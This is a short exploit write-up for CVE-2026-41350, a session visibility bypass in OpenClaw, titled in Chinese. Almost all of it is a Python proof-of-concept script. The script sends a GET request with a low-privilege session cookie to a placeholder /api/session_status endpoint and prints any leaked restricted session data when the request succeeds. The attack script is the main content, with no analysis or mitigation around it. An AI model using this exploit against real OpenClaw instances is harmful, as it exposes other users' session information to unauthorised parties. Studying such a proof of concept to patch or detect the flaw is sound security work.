CVE-2026-41350 OpenClaw会话可见性绕过漏洞

import requests # Target URL for the vulnerable OpenClaw instance # Replace with the actual endpoint of the target target_url = "http://vulnerable-host:port/api/session_status" # Headers typically used in the request headers = { "Content-Type": "application/json", "User-Agent": "Vulnerability-Scanner/1.0" } # Attacker's session cookie (Low privilege required as per PR:L) # This simulates an authenticated low-priv user cookies = { "session_id": "valid_low_priv_session_token" } try: # Send a request to invoke session_status # The vulnerability lies in the lack of sandbox enforcement here response = requests.get(target_url, headers=headers, cookies=cookies, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Exploit successful! Restricted session info leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")